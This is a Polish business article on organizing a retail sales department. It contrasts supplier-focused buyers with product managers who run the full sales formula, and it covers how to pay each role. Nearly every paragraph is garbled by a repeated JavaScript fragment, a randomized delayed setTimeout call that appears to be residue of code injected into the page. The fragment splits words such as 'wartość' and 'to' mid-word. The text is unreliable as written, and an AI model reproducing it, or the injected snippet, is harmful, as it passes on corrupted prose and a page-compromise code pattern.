Jak zorganizować dział handlowy? To nie tylko kwestia nazwy, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kwestia dobrania pracownika z odpowiednimi cechami charakteru, a także postawienia mu odpowiednich celów. Każdy z nich szuka wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości gdzie indziej. Domeną kuca są negocjacje, stara się w ten sposób wyciągnąć dodatkową wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość od dostawców. Domeną szefa produktu jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zarządzanie magiczną formułą sprzedaży, czyli wyciąganie wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości od klientów końcowych.
Każda firma, nawet taka, która o tym nie wie, ma swój Model Biznesowy, który opisuje jej najważniejsze funkcje i relacje między nimi. W firmach sprzedażowych wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jeszcze wydzielić szczególną część Modelu, mianowicie Koncept Sprzedażowy. War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to go wydzielić, gdyż funkcjonuje on inaczej niż reszta Modelu, inaczej się też nim zarządza, ze względu na nieprzewidywalny element statystyczny w postaci klienta końcowego.
Funkcjonowanie Konceptu Sprzedażowego opisuje magiczna formuła sprzedaży, gdzie sprzedaż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to iloczyn odwiedzalności, konwersji i średniej wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji.
Firmy zwykle nie wykorzystują 100% potencjalnych możliwości Modelu. Zwykle zatrzymują się na wygodnej proporcji 80/20, gdzie 20% wysiłku wykorzystuje 80% możliwości.
Jak ma się do tego kupiec i szef produktu? Ich zadaniem jest po pierwsze zarządzanie na bieżąco wybranymi funkcjami Modelu, ale też wykorzystanie wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości, jaką może dać Model. To wysiłek, gdyż trzeba wyjść poza strefę komfortu, poza tym nieproporcjonalny, gdyż tu potrzeba aż 80% wysiłku, a nagrodą będzie zaledwie 20% efekt. Ale dla firmy te 20% może stanowić o istnieniu.
Teraz powstaje pytanie, gdzie jest ta wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość? Jeśli u dostawców, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firma powinna zarządzać przede wszystkim relacjami z nimi, w postaci negocjacji czy pozyskiwania bonusów marketingowych. Jeśli firma uważa, że najwięcej wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości da się pozyskać z rynku, powinna powierzyć cały proces od zakupu do sprzedaży jednej osobie. Wtedy ta osoba może zarządzać całą magiczną formułą sprzedaży.
Kupcy kontrolują lewą stronę tego schematu, a szefowie produktu cały proces, od zakupu do sprzedaży.
To, wybrać model kupców czy szefów produktu zależy od tego, gdzie firma upatruje swój potencjał.
Gdzie jest wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość dodana?
Firma powinna być zyskowna. A będzie bardziej zyskowna, gdy sięgnie do wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości dodanej, do której nie potrafią sięgnąć jej konkurenci.
W pierwszym przypadku firma sądzi, że sprzedaje tyle ile może, a możliwości tkwią w tym, że taniej kupi, dostanie budżet marketingowy czy później zapłaci. Wtedy powinna postawić na kupców.
Kupiec
Kupiec. Jego podstawowym zadaniem są negocjacje z dostawcami. To w tym miejscu firma upatruje swojej przewagi konkurencyjnej, tu też szuka wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości dodanej. Dalszy przebieg procesu sprzedaży pozostawiony jest reszcie organizacji, która ma tylko sprzedać dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co jej się dostarczy.
Najczęstszym rozwiązaniem, z którego korzystają firmy, jest posiadanie kupców. To efekt tego, że zarządzanie formułą sprzedaży jest trudne, mało też firm widzi tam potencjał. To, co uda się zabrać dostawcom, jest łatwe, namacalne i wygodne do kontroli. Dlatego zacząć trzeba od kupca.
Najważniejsze są dwa ostatnie cele. Zmiana zachowań pracowników na pożądane zawsze jest częściowym celem wynagrodzenia pracownika jako składnik systemu zarządzania, ale w przypadku kupców jest tu szczególnie dużo do osiągnięcia. Kupcy zarządzają ważnym składnikiem Modelu Biznesowego, ważnym tak dla sterowania magiczną formułą sprzedaży, jak i magiczną formułą przedsiębiorstwa po stronie rendom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności.
Szef produktu
Szef produktu. Tu wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość w asortymencie wywodzi się z rynku, tu też firma buduje swoją pozycję. Szef produktu odpowiedzialny jest za cały proces zakupu i sprzedaży, aktywnie uczestniczy w nim od zdecydowania o asortymencie, przez wybór dostawcy, negocjacje, zakup, organizację sprzedaży, szkolenie pracowników, politykę cenową oraz inne elementy zarządzania formułą sprzedaży.
Tu firma widzi wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość w kliencie końcowym i stara się ją wykorzystać. Narzędziem do tego jest sterowanie sprzedażą, a najlepiej zarządzanie magiczną formułą sprzedaży. Tu punktem wyjścia do oceny i wynagrodzenia pracownika jest umiejętność zarządzanie magiczną formułą sprzedaży i wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość dla firmy, jaka z tego wynika.
Szef produktu powinien także umieć rozmawiać z dostawcami. Jednak tu jego priorytet powinien polegać na tym, aby nie dać sobie narzucić zarządzania własną formułą sprzedaży. Ważne jest także zdyskondom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie władzy nad asortymentem przez ograniczenie zależności od poszczególnych dostawców. W takim przypadku lepsze warunki handlowe pojawią się same.
W asortymencie nowo wprowadzane produkty muszą pasować do już istniejącej struktury, czyli wpisywać się w drabinkę w poziomie albo w pionie. W pionie, jeśli adresuje luki w drabince albo w poziomie, jeśli ma wspierać up-sell. W pierwszym przypadku ma wpłynąć na konwersję, w drugim na średnią wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość transakcji. Nowy produkt może też po prostu uzupełniać czy poszerzać drabinkę i ofertę, nie tyle w trosce o konwersję czy średnią transakcję, ile zabiegając o większą odwiedzalność.
Rola wynagrodzenia
Firma, która stawia na „wyrwanie” wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości od dostawców, powinna wynagradzać kupców w zależności od tego, jak dobre warunki handlowe uda im się osiągnąć, czyli za udział w wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości wypracowanej przez dostawców. Z kolei taka, która uważa, że potrafi skutecznie zarządzać swoją formułą sprzedaży, powinna postawić na menedżerów produktu i wynagradzać ich w zależności od przyrostu sprzedaży.
Uwaga. „rządzą cele osobiste”. Firmę reprezentują jej pracownicy, którzy realizują cele osobiste, a cele firmowe o tyle, o ile nie sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toją w sprzeczności z osobistymi. W przypadku konfliktu zwyciężą zwykle te osobiste. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oni podejmują decyzje, nie firma.
Jednych i drugich trzeba motywować, aby zachowywali się zgodnie z interesem firmy, czyli walczyli o wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość tam, gdzie widzi ją firma. Wynagrodzenie kupców powinno być związane z warunkami handlowymi, wynagrodzenie szefów produktu ze zmianą składników magicznej formuły sprzedaży.
Jak wynagradzać pracowników zarządzających ofertą? Niezależnie od pozycji trzeba zadbać o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby cele zmiennej części wynagrodzenia były w zgodzie ze strategicznymi celami firmy w zakresie ich odpowiedzialności. Czyli kupca należy wynagradzać za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co „wyrwał” dostawcom, a szefa produktu za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co udało mu się wydobyć z rynku.
Podsumowanie
W firmie handlowej kdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś musi kupować, kdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś też powinien sprzedawać. Czy war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to te dwie funkcje oddzielić, czy może lepiej je połączyć w jednej osobie? To zależy od tego, gdzie firma upatruje źródła dodatkowej wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości. Jeśli uważa, że można ją zabrać od dostawców, w postaci warunków handlowych, powinna postawić na wyspecjalizowanych kupców. Jeśli widzi więcej wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości w rynku i klientach końcowych, powinno raczej połączyć zakupy ze sprzedażą.